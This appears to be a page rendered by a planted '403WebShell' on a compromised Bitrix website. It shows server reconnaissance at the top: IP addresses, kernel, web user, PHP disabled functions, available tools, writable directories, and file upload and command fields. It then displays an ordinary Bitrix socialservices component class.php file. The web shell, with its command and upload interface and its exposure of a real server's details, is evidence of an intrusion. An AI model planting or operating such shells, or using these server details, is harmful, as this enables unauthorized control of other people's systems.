%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.147.78.151
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/socialservices/install/components/bitrix/socserv.contacts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/socialservices/install/components/bitrix/socserv.contacts//class.php
<?php
if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();

use Bitrix\Main\Context;
use Bitrix\Main\Loader;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\SystemException;
use Bitrix\Main\UI;
use Bitrix\Main\Web\Json;
use Bitrix\Socialservices\ContactConnectTable;
use Bitrix\Socialservices\ContactTable;


class CSocservContactsComponent extends CBitrixComponent
{
	const DEFAULT_PAGE_SIZE = 12;

	const CONNECT_PREFIX = "network";

	protected $userId = null;
	protected $contactList = array();
	protected $navObject = null;

	/**
	 * Load language file.
	 */
	public function onIncludeComponentLang()
	{
		$this->includeComponentLang(basename(__FILE__));
		Loc::loadMessages(__FILE__);
	}

	/**
	 * Is AJAX Request?
	 * @return bool
	 */
	protected function isAjax()
	{
		$request = Context::getCurrent()->getRequest();
		return isset($request['sc_ajax']) && $request['sc_ajax'] == 'Y';
	}

	/**
	 * Prepare Component Params.
	 *
	 * @param array $params Component parameters.
	 * @return array
	 */
	public function onPrepareComponentParams($params)
	{
		global $USER;

		$params["USER_ID"] = intval($params["USER_ID"]);
		$params["NAV_PAGE_SIZE"] = intval($params["NAV_PAGE_SIZE"]);

		if($params["USER_ID"] <= 0)
		{
			$params["USER_ID"] = $USER->GetID();
		}

		if($params["NAV_PAGE_SIZE"] <= 0)
		{
			$params["NAV_PAGE_SIZE"] = static::DEFAULT_PAGE_SIZE;
		}

		return $params;
	}

	/**
	 * Process incoming request
	 * @return void
	 */
	protected function processRequest()
	{
	}

	/**
	 * Check Required Modules
	 * @throws Exception
	 */
	protected function checkModules()
	{
		if (!Loader::includeModule('socialservices'))
		{
			return false;
		}

		return true;
	}

	/**
	 * Check Required functionality
	 * @throws Exception
	 */
	protected function checkAvailability()
	{
		$network = new \Bitrix\Socialservices\Network();
		return $network->isEnabled();
	}

	/**
	 * Get main data - user contacts
	 * @return void
	 */
	protected function prepareData()
	{
		$this->navObject = new UI\PageNavigation("nav-ss-contacts");
		$this->navObject->allowAllRecords(false)
			->setPageSize($this->arParams["NAV_PAGE_SIZE"])
			->initFromUri();

		$contactList = ContactTable::getList(
			array(
				"filter" => array(
					"=USER_ID"=>$this->arParams["USER_ID"]
				),
				"count_total" => true,
				"offset" => $this->navObject->getOffset(),
				"limit" => $this->navObject->getLimit(),
				"select" => array(
					"ID", "CONTACT_NAME", "CONTACT_LAST_NAME", "CONTACT_PHOTO"
				),
				'group' => array("CONNECT.CONTACT_ID"),
				'runtime' => array(
					new \Bitrix\Main\Entity\ReferenceField(
						"CONNECT",
						ContactConnectTable::getEntity(),
						array(
							"=ref.CONTACT_ID" => "this.ID",
							"=ref.CONNECT_TYPE" => new \Bitrix\Main\DB\SqlExpression(
								'?', ContactConnectTable::TYPE_PORTAL
							)
						),
						array("join_type"=>"inner")
					),
				)
			)
		);

		$this->navObject->setRecordCount($contactList->getCount());

		while($contact = $contactList->fetch())
		{
			$this->contactList[$contact["ID"]] = $contact;
		}

		if(count($this->contactList) > 0)
		{
			$dbRes = ContactConnectTable::getList(array(
				'filter' => array("=CONTACT_ID" => array_keys($this->contactList)),
				'select' => array(
					"CONTACT_ID", "CONTACT_PROFILE_ID", "CONTACT_PORTAL", "CONNECT_TYPE"
				)
			));
			while($connect = $dbRes->fetch())
			{
				if(!isset($this->contactList[$connect["CONTACT_ID"]]["CONNECT"]))
				{
					$this->contactList[$connect["CONTACT_ID"]]["CONNECT"] = array();
				}

				$this->contactList[$connect["CONTACT_ID"]]["CONNECT"][] = array(
					'id' => $this->getConnectId($connect),
					'portal' => $connect["CONTACT_PORTAL"]
				);
			}
		}

	}

	/**
	 * Prepare data to render
	 * @return void
	 */
	protected function formatResult()
	{
		$this->arResult['CONTACTS'] = $this->contactList;

		foreach($this->arResult['CONTACTS'] as $key => $contact)
		{
			$this->arResult['CONTACTS'][$key]['NAME_FORMATTED'] = \CUser::FormatName(
				\CSite::GetNameFormat(),
				array(
					'NAME' => $contact['CONTACT_NAME'],
					'LAST_NAME' => $contact['CONTACT_LAST_NAME'],
				),
				false, false
			);
		}

		$this->arResult['NAV'] = $this->navObject;
	}

	protected function getConnectId($connect)
	{
		return static::CONNECT_PREFIX.ContactTable::getConnectId($connect);
	}

	/**
	 * Extract data from cache
	 * @return bool
	 */
	protected function extractDataFromCache()
	{
		return false;
	}

	protected function putDataToCache()
	{
	}

	protected function abortDataCache()
	{
	}

	/**
	 * Start Component
	 */
	public function executeComponent()
	{
		global $APPLICATION;

		if(!$this->checkModules() || !$this->checkAvailability())
		{
			return;
		}

		try
		{
			$this->processRequest();
			if (!$this->extractDataFromCache())
			{
				$this->prepareData();
				$this->formatResult();
				$this->setResultCacheKeys(array());
				$this->includeComponentTemplate();
				$this->putDataToCache();
			}
		}
		catch (SystemException $e)
		{
			$this->abortDataCache();
			if ($this->isAjax())
			{
				$APPLICATION->restartBuffer();
				echo Json::encode(array('STATUS' => 'ERROR', 'MESSAGE' => $e->getMessage()));
				\CMain::FinalActions();
				die();
			}
			ShowError($e->getMessage());
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit